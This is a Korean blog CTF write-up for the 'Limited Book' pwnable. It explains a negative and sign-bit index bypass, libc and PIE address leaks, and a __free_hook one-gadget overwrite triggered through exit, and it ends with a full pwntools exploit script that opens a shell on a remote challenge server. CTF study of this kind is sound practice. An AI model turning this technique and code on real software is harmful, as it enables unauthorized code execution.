상세 컨텐츠

본문 제목

Limited Book

SYSTEM HACKING/CTF, etc

by koharin 2020. 3. 26. 17:57

본문

728x90
반응형

# checksec

 


# process

 

★취약점

1) idx < 255만 체크한다. 음수 인덱스로는 어떤 것도 줄 수 있다.

2) signed나 unsigned는 0x8000000000000000와 | 을 시키면 idx < 255로 양수 범위가 제한되어 있어도 우회 가능하다.

0x8000000000000000는 최상위 1비트 부호를 나타낸다.

그리고 | 을 시켜도 data[idx]에서 최상위 비트는 날아가므로 상관없다.

 

edit과 print를 합쳐서 총 5번 값을 넣을 수 있다.

exit함수를 이용해서 exploit할 것이다.

 

 

1. libc leak

 

 

edit_data 함수에서 값을 넣고 값이 들어간 주소의 위로 올라가면 libc 함수 주소가 들어있음을 알 수 있다.

 

 

offset은 -0x60인데 인덱스이므로 8로 나눠서 idx 값을 주면 이 libc 함수 값으로 libc leak이 가능하다.

 

 

libcBase

__free_hook : libcbase + 0x3c67a8

Initial = libcbase + 0x3c5c40

One gadget = libcbase + 0x4526a

을 각각 구해준다.

 

 

2. pie leak

 

exit함수로 익스를 하기 위한 조건을 만들기 위해서는 initial, initial+8, __free_hook에 적절한 값을 넣어줘야 한다.

buf(입력한 값이 들어가는 주소)와 세 주소와의 offset을 구해야 하는데, 정확하게 offset이 구해지지 않는다.

따라서 buf서 앞으로 가보면 pie base와 offset이 달라지지 않는 주소가 있어서 그 위치(-0x1f8)의 주소값을 출력해서 pie base를 구하고, pie base와 buf와의 offset으로 실행 시 buf 주소를 구했다.

 

offset : -0x1f8 (idx : -0x1f8/8)

pie = addr - 0x202008

buf = pie + 0x202208

 

buf와 각각의 세 주소와의 차이로 offset을 구하고 8로 나누면 idx를 구할 수 있다.

구한 index에 1을 더해줘서 정확한 위치이다.

 

3. initial -> 아무 값

 

필자는 3을 넣었다.

exit 함수를 이용한 익스를 할 때 cur(initial)->next에 아무 값이나 들어있기만 하면 free(cur->next)가 가능하다.

 

 

 

4. initial +8 -> 0

 

그리고 initial+8에 1이 들어있는데 이 값(cur(initial)->idx)이 0이어야 cur->idx > 0을 우회할 수 있다.

free하기 위해서 while문을 우회해야 하는데 while문의 cur->idx > 0은 반복조건이다.

따라서 cur->idx 을 0으로 만들어준다.

 

 

5. __free_hook -> one gadget

 

 

exit 시 free함수가 호출되므로 one gadget으로 덮으면 쉘을 딸 수 있다.

 

위의 세 단계로 값을 덮고 나면

 

 

쉘이 따진다.


# exploit code

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./limited_book")
p = remote("dpster.ml", 30010)
elf =ELF("./limited_book")
libc = elf.libc

def edit_data(index, data):
    p.sendlineafter("> ", '1')
    p.sendafter("idx: ", str(index))
    p.sendafter("data: ", data)

def print_data(index):
    p.sendlineafter("> ", '2')
    p.sendafter("idx: ", str(index))

#gdb.attach(p)

#libc leak
print_data(-0x60/8) 
p.recvuntil("data: ")
IO_wide_data = u64(p.recv(8)) 
libcBase = IO_wide_data - 0x3c49c0
one_gadget = libcBase + 0x4526a
puts = libcBase + libc.symbols['puts']
free_hook = libcBase + libc.symbols['__free_hook']
initial = libcBase + 0x3c5c40
log.info("libcBase : "+hex(libcBase))
log.info("IO_wide_data : "+hex(IO_wide_data))
log.info("free_hook : "+hex(free_hook))

# pie leak
print_data(-0x1f8/8)
p.recvuntil("data: ")
addr = u64(p.recv(8))
log.info("addr : "+hex(addr))
pie = addr - 0x202008
buf = pie + 0x202208
log.info("pie : "+hex(pie))
log.info("buf: "+hex(buf))

edit_data((initial-buf)/8+1 | 0x8000000000000000, p64(3))
edit_data((initial+8-buf)/8+1 | 0x8000000000000000, p64(0))
edit_data((free_hook-buf)/8+1 | 0x8000000000000000, p64(one_gadget))

p.interactive()

 

 

# exploit

 

 


 

728x90
반응형

관련글 더보기